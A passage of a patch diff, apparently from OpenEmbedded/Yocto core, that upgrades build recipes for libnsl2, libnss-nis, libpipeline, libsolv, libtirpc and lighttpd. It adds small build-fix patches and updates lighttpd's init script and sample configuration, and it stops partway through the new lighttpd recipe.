--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -5,16 +5,16 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
it was part of glibc and now is standalone packages. it also supports IPv6"
HOMEPAGE = "https://github.com/thkukuk/libnsl"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-PV = "1.3.0"
+PV = "2.0.1"
-SRCREV = "fbad7b36acaa89a54023930af70805649f962999"
+SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
-SRC_URI = "git://github.com/thkukuk/libnsl \
+SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
index a1d914e871..f0e687c330 100644
--- a/meta/recipes-extended/libnss-nis/libnss-nis.bb
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -8,16 +8,16 @@ This code was formerly part of glibc, but is now standalone to\
be able to link against TI-RPC for IPv6 support."
HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS += "libtirpc libnsl2"
-PV = "3.1+git${SRCPV}"
+PV = "3.2"
-SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad"
+SRCREV = "cd0d391af9535b56e612ed227c1b89be269f3d59"
-SRC_URI = "git://github.com/thkukuk/libnss_nis \
+SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
@@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk"
#
# We will skip parsing this packagegeoup for non-glibc systems
#
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
new file mode 100644
index 0000000000..e61e5aa869
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next libpipeline upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb
deleted file mode 100644
index a182461607..0000000000
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "pipeline manipulation library"
-DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
-without needing to involve shell command-line parsing which is often \
-error-prone and insecure."
-HOMEPAGE = "http://libpipeline.nongnu.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
-SRC_URI[md5sum] = "169de4cc1f6f7f7d430a5bed858b2fd3"
-SRC_URI[sha256sum] = "fd59c649c1ae9d67604d1644f116ad4d297eaa66f838e3dfab96b41e85b059fb"
-
-inherit pkgconfig autotools
-
-acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
new file mode 100644
index 0000000000..7e3f13ebde
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
@@ -0,0 +1,15 @@
+SUMMARY = "pipeline manipulation library"
+DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
+without needing to involve shell command-line parsing which is often \
+error-prone and insecure."
+HOMEPAGE = "http://libpipeline.nongnu.org/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
+SRC_URI += "file://autoconf-2.73.patch"
+SRC_URI[sha256sum] = "b8b45194989022a79ec1317f64a2a75b1551b2a55bea06f67704cb2a2e4690b0"
+
+inherit pkgconfig autotools
+
+acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
+From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 28 Oct 2021 22:28:45 -0700
+Subject: [PATCH] utils: Conside musl when wrapping qsort_r
+
+musl now has implemented qsort_r, the signature however matches glibc
+and not BSD, current check makes it such that it falls into BSD case
+when building for musl, which clearly is wrong, therefore instead of
+just checking for glibc check for linux to decide which qsort_r
+signature to use. This covers both glibc and musl
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util.c b/src/util.c
+index 72426e09..8f29bc5a 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
+
+ see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
+ */
+-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
+
+ void
+ solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
+--
+2.33.1
+
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb b/meta/recipes-extended/libsolv/libsolv_0.7.14.bb
deleted file mode 100644
index 5179d4565a..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Library for solving packages and reading repositories"
-HOMEPAGE = "https://github.com/openSUSE/libsolv"
-BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
-
-DEPENDS = "expat zlib"
-
-SRC_URI = "git://github.com/openSUSE/libsolv.git \
-"
-
-SRCREV = "b264537ea43ce39d93d8d97fcca16e97825beaa0"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
-PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_RPMDB_BDB=ON,,rpm"
-
-EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
-
-PACKAGES =+ "${PN}-tools ${PN}ext"
-
-FILES_${PN}-tools = "${bindir}/*"
-FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.28.bb b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
new file mode 100644
index 0000000000..201059323a
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Library for solving packages and reading repositories"
+DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
+HOMEPAGE = "https://github.com/openSUSE/libsolv"
+BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
+
+DEPENDS = "expat zlib zstd"
+
+SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
+ file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
+"
+
+SRCREV = "c8dbb3a77c86600ce09d4f80a504cf4e78a3c359"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
+PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
+
+EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON -DENABLE_ZSTD_COMPRESSION=ON"
+
+PACKAGES =+ "${PN}-tools ${PN}ext"
+
+FILES:${PN}-tools = "${bindir}/*"
+FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
new file mode 100644
index 0000000000..f746f986f4
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
@@ -0,0 +1,52 @@
+From 077bbd32e8b7474dc5f153997732e1e6aec7fad6 Mon Sep 17 00:00:00 2001
+Message-Id: <077bbd32e8b7474dc5f153997732e1e6aec7fad6.1697120796.git.joerg.sommer@navimatix.de>
+From: =?UTF-8?q?J=C3=B6rg=20Sommer?= <joerg.sommer@navimatix.de>
+Date: Thu, 12 Oct 2023 16:22:59 +0200
+Subject: [PATCH] netconfig: remove tcp6, udp6 on --disable-ipv6
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+If the configuration for IPv6 is disabled, the netconfig should not contain
+settings for tcp6 and udp6.
+
+The test for the configure option didn't work, because it check the wrong
+variable.
+
+Signed-off-by: Jörg Sommer <joerg.sommer@navimatix.de>
+Upstream-Status: Submitted [libtirpc-devel@lists.sourceforge.net]
+Upstream-Status: Submitted [linux-nfs@vger.kernel.org]
+---
+ configure.ac | 2 +-
+ doc/Makefile.am | 5 +++++
+ 2 files changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index fe6c517..b687f8d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -64,7 +64,7 @@ fi
+ AC_ARG_ENABLE(ipv6,
+ [AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support @<:@default=no@:>@])],
+ [],[enable_ipv6=yes])
+-AM_CONDITIONAL(INET6, test "x$disable_ipv6" != xno)
++AM_CONDITIONAL(INET6, test "x$enable_ipv6" != xno)
+ if test "x$enable_ipv6" != xno; then
+ AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
+ fi
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index d42ab90..b9678f6 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -2,3 +2,8 @@ dist_sysconf_DATA = netconfig bindresvport.blacklist
+
+ CLEANFILES = cscope.* *~
+ DISTCLEANFILES = Makefile.in
++
++if ! INET6
++install-exec-hook:
++ $(SED) -i '/^tcp6\|^udp6/d' "$(DESTDIR)$(sysconfdir)"/netconfig
++endif
+--
+2.34.1
+
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb b/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb
deleted file mode 100644
index 10a324c3b6..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Transport-Independent RPC library"
-DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
-SECTION = "libs/network"
-HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
- file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-PROVIDES = "virtual/librpc"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-SRC_URI[md5sum] = "b25f9cc18bfad50f7c446c77f4ae00bb"
-SRC_URI[sha256sum] = "4278e9a5181d5af9cd7885322fdecebc444f9a3da87c526e7d47f7a12a37d1cc"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-gssapi"
-
-do_install_append() {
- chown root:root ${D}${sysconfdir}/netconfig
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
new file mode 100644
index 0000000000..aa526e9e1c
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Transport-Independent RPC library"
+DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
+SECTION = "libs/network"
+HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
+ file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+PROVIDES = "virtual/librpc"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
+ file://ipv6.patch \
+"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
+SRC_URI[sha256sum] = "1e0b0c7231c5fa122e06c0609a76723664d068b0dba3b8219b63e6340b347860"
+
+CVE_STATUS[CVE-2021-46828] = "fixed-version: fixed in 1.3.3rc1 so not present in 1.3.3"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
+
+do_install:append() {
+ test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 26 Aug 2016 18:20:32 +0300
-Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
-
-RP 2014/5/22
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
- )
- AC_MSG_RESULT([$WITH_PCRE])
-
--if test "$WITH_PCRE" != no; then
-- if test "$WITH_PCRE" != yes; then
-- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
-- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
-+if test "$WITH_PCRE" != "no"; then
-+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
-+ PCRE_LIB=${PCREPKG_LIBS}
-+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
-+ ], [
-+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
-+ ])
-+
-+ if test x"$PCRE_LIB" != x; then
-+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
-+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
-+ AC_SUBST(PCRE_LIB)
- else
- AC_PATH_PROG([PCRECONFIG], [pcre-config])
- if test -n "$PCRECONFIG"; then
---
-2.15.0
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
index 82fbaa523b..f369dce42c 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
@@ -6,9 +6,14 @@ NAME=lighttpd
DESC="Lighttpd Web Server"
OPTS="-f /etc/lighttpd/lighttpd.conf"
+configtest() {
+ "$DAEMON" $OPTS -tt || exit 1
+}
+
case "$1" in
start)
echo -n "Starting $DESC: "
+ configtest
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
@@ -17,16 +22,26 @@ case "$1" in
start-stop-daemon --stop -x "$DAEMON"
echo "$NAME."
;;
- restart|force-reload)
+ restart)
echo -n "Restarting $DESC: "
+ configtest
start-stop-daemon --stop -x "$DAEMON"
sleep 1
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
+ reload|force-reload)
+ echo -n "Reloading $DESC: "
+ configtest
+ killall -USR1 "${DAEMON##*/}"
+ echo "$NAME."
+ ;;
+ configtest)
+ configtest
+ ;;
*)
N=/etc/init.d/$NAME
- echo "Usage: $N {start|stop|restart|force-reload}" >&2
+ echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
exit 1
;;
esac
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
index 6e8402d242..47a6c93349 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
@@ -16,8 +16,6 @@ server.modules = (
# "mod_redirect",
# "mod_alias",
"mod_access",
-# "mod_cml",
-# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
@@ -27,11 +25,9 @@ server.modules = (
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
-# "mod_compress",
# "mod_ssi",
-# "mod_usertrack",
# "mod_expire",
-# "mod_secdownload",
+# "mod_deflate",
# "mod_rrdtool",
# "mod_webdav",
"mod_accesslog" )
@@ -47,9 +43,6 @@ server.errorlog = "/www/logs/lighttpd.error.log"
index-file.names = ( "index.php", "index.html",
"index.htm", "default.htm" )
-## set the event-handler (read the performance section in the manual)
-# server.event-handler = "freebsd-kqueue" # needed on OS X
-
# mimetype mapping
mimetype.assign = (
".pdf" => "application/pdf",
@@ -115,7 +108,6 @@ mimetype.assign = (
#### accesslog module
accesslog.filename = "/www/logs/access.log"
-debug.log-request-handling = "enable"
@@ -127,10 +119,6 @@ debug.log-request-handling = "enable"
# of the document-root
url.access-deny = ( "~", ".inc" )
-$HTTP["url"] =~ "\.pdf$" {
- server.range-requests = "disable"
-}
-
##
# which extensions should not be handle via static-file transfer
#
@@ -177,6 +165,7 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#dir-listing.activate = "enable"
## enable debugging
+#debug.log-request-header-on-error = "enable"
#debug.log-request-header = "enable"
#debug.log-response-header = "enable"
#debug.log-request-handling = "enable"
@@ -194,8 +183,9 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#server.groupname = "wwwrun"
#### compress module
-#compress.cache-dir = "/tmp/lighttpd/cache/compress/"
-#compress.filetype = ("text/plain", "text/html")
+#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
+#deflate.mimetypes = ("text/plain", "text/html")
+#deflate.allowed-encodings = ("gzip")
#### proxy module
## read proxy.txt for more info
@@ -227,7 +217,8 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#### SSL engine
#ssl.engine = "enable"
-#ssl.pemfile = "server.pem"
+#ssl.pemfile = "/path/to/fullchain.pem"
+#ssl.privkey = "/path/to/privkey.pem"
#### status module
#status.status-url = "/server-status"
@@ -291,19 +282,6 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
#setenv.add-response-header = ( "X-Secret-Message" => "42" )
-## for mod_trigger_b4_dl
-# trigger-before-download.gdbm-filename = "/home/weigon/testbase/trigger.db"
-# trigger-before-download.memcache-hosts = ( "127.0.0.1:11211" )
-# trigger-before-download.trigger-url = "^/trigger/"
-# trigger-before-download.download-url = "^/download/"
-# trigger-before-download.deny-url = "http://127.0.0.1/index.html"
-# trigger-before-download.trigger-timeout = 10
-
-## for mod_cml
-## don't forget to add index.cml to server.indexfiles
-# cml.extension = ".cml"
-# cml.memcache-hosts = ( "127.0.0.1:11211" )
-
#### variable usage:
## variable name without "." is auto prefixed by "var." and becomes "var.bar"
#bar = 1
@@ -328,4 +306,4 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#var.a=1
# include other config file fragments from lighttpd.d subdir
-include_shell "find /etc/lighttpd.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+include "/etc/lighttpd.d/*.conf"
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
deleted file mode 100644
index 7a255ce2f2..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Lightweight high-performance web server"
-HOMEPAGE = "http://www.lighttpd.net/"
-BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
-
-SECTION = "net"
-RDEPENDS_${PN} = "lighttpd-module-dirlisting \
- lighttpd-module-indexfile \
- lighttpd-module-staticfile"
-RRECOMMENDS_${PN} = "lighttpd-module-access \
- lighttpd-module-accesslog"
-
-SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
- file://index.html.lighttpd \
- file://lighttpd.conf \
- file://lighttpd \
- file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
- "
-
-SRC_URI[md5sum] = "be4bda2c28bcbdac6eb941528f6edf03"
-SRC_URI[sha256sum] = "6a0b50e9c9d5cc3d9e48592315c25a2d645858f863e1ccd120507a30ce21e927"
-
-PACKAGECONFIG ??= "openssl pcre zlib \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
-"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
-PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
-PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
-PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
-PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
-PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
-PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
-PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
-PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua"
-
-EXTRA_OECONF += "--enable-lfs --without-fam"
-
-inherit autotools pkgconfig update-rc.d gettext systemd
-
-INITSCRIPT_NAME = "lighttpd"
-INITSCRIPT_PARAMS = "defaults 70"
-
-SYSTEMD_SERVICE_${PN} = "lighttpd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
- install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
- install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
- install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@BASE_BINDIR@,${base_bindir},g' \
- ${D}${systemd_unitdir}/system/lighttpd.service
- #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
- ln -sf ${localstatedir}/log ${D}/www/logs
- ln -sf ${localstatedir}/tmp ${D}/www/var
-}
-
-FILES_${PN} += "${sysconfdir} /www"
-
-CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
-
-PACKAGES_DYNAMIC += "^lighttpd-module-.*"
-
-python populate_packages_prepend () {
- lighttpd_libdir = d.expand('${libdir}')
- do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
-}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb
new file mode 100644
index 0000000000..fc3b7e005d
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Lightweight high-performance web server"
+HOMEPAGE = "http://www.lighttpd.net/"
+DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
+BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
+
+SECTION = "net"
+RDEPENDS:${PN} = "lighttpd-module-dirlisting"
+RRECOMMENDS:${PN} = "lighttpd-module-accesslog"
+
+SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
+ file://index.html.lighttpd \
+ file://lighttpd.conf \
+ file://lighttpd \
+ "
+
+SRC_URI[sha256sum] = "8b721ca939d312afaa6ef31dcbd6afb5161ed385ac828e6fccd4c5b76be189d6"
+
+DEPENDS = "virtual/crypt"
+
+PACKAGECONFIG ??= "openssl pcre zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
+"
+
+PACKAGECONFIG[libev] = "-Dwith_libev=enabled,-Dwith_libev=disabled,libev"
+PACKAGECONFIG[mysql] = "-Dwith_mysql=enabled,-Dwith_mysql=disabled,mariadb"
